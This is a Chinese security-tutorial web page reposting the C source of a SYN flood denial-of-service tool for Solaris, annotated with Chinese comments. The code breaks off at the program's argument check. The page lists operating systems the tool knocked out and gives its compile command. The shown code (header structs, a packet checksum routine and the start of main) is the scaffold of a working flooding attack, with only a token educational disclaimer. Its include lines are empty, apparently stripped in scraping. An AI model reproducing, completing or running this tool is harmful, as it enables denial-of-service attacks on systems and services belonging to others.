当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 一个SYN攻击的源程序

安全基础
面临什么新威胁 PC安全终极指南(上)
面临什么新威胁 PC安全终极指南(中)
面临什么新威胁 PC安全终极指南(下)
加固Wi-Fi无线网络安全的17招式(下)
后门程序知识完全解析
Windows XP操作系统防黑的几种技巧
EFS加密技巧让数据更安全
媒体文件木马攻防
探讨网上交易密码保护的窍门
清除僵尸网络的几个妙招
Wrom.Win32.Anilogo.b蠕虫清除方案
应对邮件欺诈 针对性的防御手段加以防护
局域网内外数据的安全交换的操作方案
分布式拒绝服务攻击(DDoS)的化解
CNNIC中文上网的手工卸载方法
宽带ADSL猫防火墙配置
系统进程中寻找木马和病毒
选择安全漏洞扫描工具
因防火墙导致的系统网络故障的解决
十大网游盗窃伎俩大曝光

安全基础 中的 一个SYN攻击的源程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 51 ::
收藏到网摘: n/a


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* [email protected] */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}